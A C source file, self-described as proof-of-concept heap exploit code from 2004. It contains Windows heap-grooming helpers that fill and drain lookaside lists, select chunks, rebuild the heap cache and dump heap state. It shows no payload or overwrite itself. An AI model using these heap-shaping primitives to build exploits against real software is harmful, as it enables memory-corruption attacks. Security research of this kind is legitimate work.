// Proof-of-concept code heap exploit code
// Written by Matt Conover in December 2004
#include "heap.h"
#include "util.h"

#define ALLOC_COUNT 0xffff
#define VIRTUAL_ALLOC_COUNT 100

#define FREE_PROBABILITY 0

void EmptyLookasideList(HEAP *pHeap, DWORD AllocSize)
{
	int i;
	BYTE *alloc[LOOKASIDE_FILL_SIZE];
	DWORD ChunkSize = (AllocSize/8)+1;

	//printf("Filling up lookaside list to force coalesce on free\n");
	//printf("\n*** LOOKASIDE BEFORE CLEAN UP:\n");
	//DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside);

	for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
	{
		alloc[i] = HeapAlloc(pHeap, 0, AllocSize);
		assert(alloc[i]);
	}

	//printf("\n*** LOOKASIDE AFTER CLEAN UP:\n");
	//DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside);
	//printf("\n");
}

void FillLookasideList(HEAP *pHeap, DWORD AllocSize)
{
	int i;
	DWORD ChunkSize = (AllocSize/8)+1;
	BYTE *alloc[LOOKASIDE_FILL_SIZE];

	//printf("Filling up lookaside list to force coalesce on free\n");
	//printf("\n*** LOOKASIDE BEFORE FILL UP:\n");
	//DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside);

	for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
	{
		alloc[i] = HeapAlloc(pHeap, 0, AllocSize);
		assert(alloc[i]);
	}

	for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
	{
		HeapFree(pHeap, 0, alloc[i]);
	}

	//printf("\n*** LOOKASIDE AFTER FILL UP:\n");
	//DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside);
	//printf("\n");
}

BYTE *GetChunk(HEAP *pHeap, DWORD AllocSize)
{
	BYTE *pSource;
	HEAP_FREE_ENTRY *chunk;
	DWORD ChunkSize = (AllocSize/8)+1;
	
	assert(!(AllocSize & 0x07));
	do
	{
		pSource = HeapAlloc(pHeap,HEAP_ZERO_MEMORY, AllocSize);
		chunk = (HEAP_FREE_ENTRY *)(pSource - sizeof(HEAP_ENTRY));
	} while (chunk->Flags & HEAP_ENTRY_LAST_ENTRY);
	assert(chunk->Size == ChunkSize);
	return pSource;
}

BOOL InitializeHeapCache(HEAP *Heap)
{
	HEAP_CACHE *Cache;
	DWORD AllocSize;
	DWORD NumEntries;
	PLIST_ENTRY Entry;
	DWORD Index;
	HEAP_FREE_ENTRY *Block;

	if (Heap->Cache != NULL) return FALSE;

	Cache = NULL;
	NumEntries = (Heap->DeCommitFreeBlockThreshold + 0x180 + 0x1F) & ~0x1F;
	AllocSize = (sizeof(HEAP_CACHE) + NumEntries * 4 + NumEntries / 8 + 0xFFF) & ~0xFFF;

	Cache = HeapAlloc(GetProcessHeap(), 0, AllocSize);
	if (!Cache)
	{
		fprintf(stderr, "Failed to create Heap->Cache\n");
		return FALSE;
	}

	memset(Cache, 0, AllocSize);
	Cache->NumEntries = NumEntries;
	Cache->CommittedSize = AllocSize;
	Cache->FreeChunkTable = (HEAP_FREE_ENTRY **)((BYTE *)Cache + sizeof(HEAP_CACHE));
	Cache->pBitmap = (BYTE *)Cache->FreeChunkTable + NumEntries * 4;
	Cache->Depth = 0;
	Cache->Sequence = 1;

	Entry = Heap->FreeLists[0].Flink;
	while (Entry != &Heap->FreeLists[0])
	{
		Block = (HEAP_FREE_ENTRY *)((BYTE *)Entry - 8);
		Index = Block->Size - 128;
		Entry = Entry->Flink;
		if (Index >= Cache->NumEntries) Index = Cache->NumEntries - 1;
		if (Cache->FreeChunkTable[Index] == NULL)
		{
			Cache->FreeChunkTable[Index] = Block;
			Cache->pBitmap[Index / 8] |= (1 << (Index & 7));
		}
		if (Index == Cache->NumEntries - 1) Cache->Depth++;
	}

	Cache->HighDepth = Cache->Depth;
	Cache->LowDepth = Cache->Depth;
	Cache->ExtendCount = 0;
	Cache->CreateUCRCount = 0;
	Cache->LargestHighDepth = Cache->Depth;
	Cache->DepthSize = 0;
	Heap->Cache = Cache;
	return TRUE;
}

BYTE RtlpBitsClearLow[256] =
{
        0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x06, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x07, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x06, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
        0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00
};

DWORD GetChunkIndex(HEAP_CACHE *Cache, DWORD ChunkSize)
{
	PDWORD BitmapPointer;
	DWORD Bitmap;
	DWORD d, n;
	DWORD Index = ChunkSize - 128;
	

	d = Index / 32;
	n = Cache->NumEntries / 32 - 1;
	BitmapPointer = (PDWORD)&Cache->pBitmap[d * 4];
	Bitmap = *BitmapPointer & ~((1 << (ChunkSize & 0x1F)) - 1);
	if (Bitmap == 0)
	{
		while (d <= n) 
		{
			Bitmap = *(BitmapPointer + 1);
			BitmapPointer++;
			d++;
			if (Bitmap != 0) break;
		}
	}
	if (!Bitmap) return -1;

	if (Bitmap & 0xFFFF)
	{
		if (Bitmap & 0xFF) Index = RtlpBitsClearLow[Bitmap & 0xFF];
		else Index = RtlpBitsClearLow[Bitmap >> 8] + 8;
	} 
	else 
	{
		if (Bitmap & 0xFF0000) Index = RtlpBitsClearLow[Bitmap >> 16] + 16;
		else Index = RtlpBitsClearLow[Bitmap >> 24] + 24;
	}
	return Index;
}

void DoRandomAllocsAndFrees(HEAP *pHeap, DWORD MinChunkSize, DWORD MaxChunkSize)
{
	BOOL DoFree;
	int i, j;
	DWORD **allocs; // [ALLOC_COUNT];
	BYTE *vallocs[VIRTUAL_ALLOC_COUNT];
	HEAP_ENTRY *BusyChunk;
	DWORD MinVirtualAllocChunkSize, MaxVirtualAllocChunkSize;

	srand(GetTickCount());

	printf("=== INITIAL HEAP DUMP\n");
	DumpHeap(stdout, pHeap, TRUE, TRUE, TRUE);

	allocs = (DWORD **)malloc(sizeof(DWORD *) * ALLOC_COUNT);
	assert(allocs);

	for (i = 0; i < ALLOC_COUNT; i++)
	{
		j = rand() % 100;
		if (j < FREE_PROBABILITY) DoFree = TRUE;
		else DoFree = FALSE;
		j = (rand() % MaxChunkSize) + MinChunkSize;
		if (!(allocs[i] = HeapAlloc(pHeap, 0, j)))
		{
			fprintf(stderr, "Failed to allocated %d bytes\n", j);
			i--;
			continue;
		}
		
		if (DoFree)
		{
			HeapFree(pHeap, 0, allocs[i]);
			allocs[i] = NULL;
		}
	}

	MinVirtualAllocChunkSize = (pHeap->VirtualMemoryThreshold+1)*8;
	MaxVirtualAllocChunkSize = MinVirtualAllocChunkSize + 0x1000;

	for (i = 0; i < VIRTUAL_ALLOC_COUNT; i++)
	{
		j = rand() % 100;
		if (j < FREE_PROBABILITY) DoFree = TRUE;
		else DoFree = FALSE;
		j = (rand() % MaxVirtualAllocChunkSize) + MinVirtualAllocChunkSize;
		if (!(vallocs[i] = HeapAlloc(pHeap, 0, j)))
		{
			printf("Failed to allocated %d bytes\n", j);
			i--;
			continue;
		}

		BusyChunk = (HEAP_ENTRY *)(vallocs[i]-8);
		if (!(BusyChunk->Flags & HEAP_ENTRY_VIRTUAL_ALLOC))
		{
			fprintf(stderr, "Chunk is not virtually allocated!\n");
			assert(0);
		}

		if (DoFree)
		{
			HeapFree(pHeap, 0, vallocs[i]);
			vallocs[i] = NULL;
		}
	}

	printf("\n=== MIDDLE HEAP DUMP\n");
	DumpHeap(stdout, pHeap, TRUE, TRUE, TRUE);

	for (i = 0; i < ALLOC_COUNT; i++)
	{
		if (allocs[i]) HeapFree(pHeap, 0, allocs[i]);
	}
	for (i = 0; i < VIRTUAL_ALLOC_COUNT; i++)
	{
		if (vallocs[i]) HeapFree(pHeap, 0, vallocs[i]);
	}

	printf("\n=== FINAL HEAP DUMP\n");
	DumpHeap(stdout, pHeap, TRUE, TRUE, TRUE);
	
	free(allocs);
	exit(0);
}